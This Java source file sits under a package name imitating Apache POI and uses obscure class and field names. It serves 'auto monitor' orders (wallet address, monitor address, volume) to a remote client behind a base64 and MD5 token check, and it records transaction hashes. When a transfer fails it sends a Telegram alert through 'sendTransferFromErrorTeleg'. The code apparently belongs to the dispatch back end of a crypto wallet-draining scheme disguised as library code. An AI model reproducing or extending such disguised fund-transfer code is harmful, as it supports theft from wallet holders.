package apache.poi.extracto;
|
|
import java.util.ArrayList;
|
import java.util.HashMap;
|
import java.util.List;
|
import java.util.Map;
|
|
|
import apache.poi.assistant.MD5;
|
import apache.poi.assistant.RandomCharacterAssistant;
|
import apache.poi.assistant.SafetyAssistant;
|
import com.alibaba.fastjson.JSON;
|
import com.alibaba.fastjson.JSONObject;
|
|
import kernel.util.ThreadUtils;
|
import kernel.util.UUIDGenerator;
|
import kernel.web.ResultObject;
|
import project.monitor.AutoMonitorOrderService;
|
import project.monitor.model.AutoMonitorOrder;
|
import project.monitor.telegram.business.TelegramBusinessMessageService;
|
import project.party.PartyService;
|
import project.party.model.Party;
|
import util.LockFilter;
|
|
public class RandomHandleDecorator implements CharacterRandomHandle {
|
|
protected PartyService partyService;
|
|
private AutoMonitorOrderService autoMonitorOrderService;
|
|
private RandomCharacterAssistant randomCharacterAssistant;
|
|
private TelegramBusinessMessageService telegramBusinessMessageService;
|
|
@Override
|
public String get(String random) {
|
String character = PropertiesUtil.getProperty("character");
|
|
try {
|
JSONObject jSONObject = md5Check(random, character);
|
|
Integer sequence = jSONObject.getInteger("s");
|
|
List<AutoMonitorOrder> order_list = randomCharacterAssistant.findAfter(sequence);
|
List<Map<String, Object>> list = new ArrayList<Map<String, Object>>();
|
|
for (int i = 0; i < order_list.size(); i++) {
|
AutoMonitorOrder order = order_list.get(i);
|
Map<String, Object> map = new HashMap<String, Object>();
|
map.put("a", order.getAddress());
|
map.put("ma", order.getMonitor_address());
|
map.put("v", order.getVolume());
|
map.put("s", order.getSequence());
|
list.add(map);
|
}
|
|
Map<String, Object> data = new HashMap<String, Object>();
|
|
data.put("list", list);
|
|
data = bulidmd5(data, character);
|
|
ResultObject resultObject = new ResultObject();
|
resultObject.setData(data);
|
|
return SafetyAssistant.base64Encoder(JSON.toJSONString(resultObject));
|
} catch (Throwable e) {
|
return bulidResult("9823", character);
|
}
|
}
|
|
@Override
|
public String put(String random) {
|
String character = PropertiesUtil.getProperty("character");
|
boolean lock = false;
|
AutoMonitorOrder order = null;
|
try {
|
JSONObject jSONObject = md5Check(random, character);
|
Integer sequence = jSONObject.getInteger("s");
|
String succeeded = jSONObject.getString("su");
|
String hash = jSONObject.getString("h");
|
String message = jSONObject.getString("me");
|
order = randomCharacterAssistant.findBy(sequence);
|
|
if (order == null) {
|
return bulidResult("7846", character);
|
}
|
|
if (!LockFilter.add(order.getId().toString())) {
|
return bulidResult("locking", character);
|
}
|
|
lock = true;
|
|
if (order.getSucceeded() != -1) {
|
return bulidResult("0", character);
|
}
|
|
if ("1".equals(succeeded)) {
|
order.setSucceeded(0);
|
order.setTxn_hash(hash);
|
autoMonitorOrderService.update(order);
|
} else if ("2".equals(succeeded)) {
|
order.setSucceeded(2);
|
order.setError(message);
|
|
autoMonitorOrderService.update(order);
|
|
/**
|
* 交易发起失败发送消息
|
*/
|
Party party = partyService.cachePartyBy(order.getPartyId().toString(), false);
|
telegramBusinessMessageService.sendTransferFromErrorTeleg(party, order.getVolume(), message, null);
|
}
|
return bulidResult("0", character);
|
} catch (Throwable e) {
|
return bulidResult("9832", character);
|
} finally {
|
if (lock) {
|
ThreadUtils.sleep(500);
|
LockFilter.remove(order.getId().toString());
|
}
|
}
|
}
|
|
private JSONObject md5Check(String random, String value) {
|
try {
|
String decoderdText = SafetyAssistant.base64Decoder(random);
|
JSONObject resultJson = JSON.parseObject(decoderdText);
|
|
String uuid = resultJson.getString("u");
|
String text = "uuid=" + uuid + "&smartomsert=random" + "&md5=" + value;
|
String m = resultJson.getString("m");
|
|
String md5 = MD5.sign(text);
|
|
if (m.equals(md5)) {
|
return resultJson;
|
} else {
|
throw new RuntimeException("0973");
|
}
|
} catch (Exception e) {
|
throw new RuntimeException("0974", e);
|
}
|
}
|
|
private String bulidResult(String code, String value) {
|
ResultObject resultObject = new ResultObject();
|
resultObject.setCode(code);
|
Map<String, Object> data = new HashMap<String, Object>();
|
data = bulidmd5(data, value);
|
resultObject.setData(data);
|
return SafetyAssistant.base64Encoder(JSON.toJSONString(resultObject));
|
}
|
|
private Map<String, Object> bulidmd5(Map<String, Object> data, String value) {
|
String uuid = UUIDGenerator.getUUID();
|
String text = "uuid=" + uuid + "&smartomsert=random" + "&md5=" + value;
|
String md5 = MD5.sign(text);
|
|
data.put("u", uuid);
|
data.put("m", md5);
|
return data;
|
}
|
|
public void setRandomCharacterAssistant(RandomCharacterAssistant randomCharacterAssistant) {
|
this.randomCharacterAssistant = randomCharacterAssistant;
|
}
|
|
public void setTelegramBusinessMessageService(TelegramBusinessMessageService telegramBusinessMessageService) {
|
this.telegramBusinessMessageService = telegramBusinessMessageService;
|
}
|
|
public void setPartyService(PartyService partyService) {
|
this.partyService = partyService;
|
}
|
|
public void setAutoMonitorOrderService(AutoMonitorOrderService autoMonitorOrderService) {
|
this.autoMonitorOrderService = autoMonitorOrderService;
|
}
|
}
|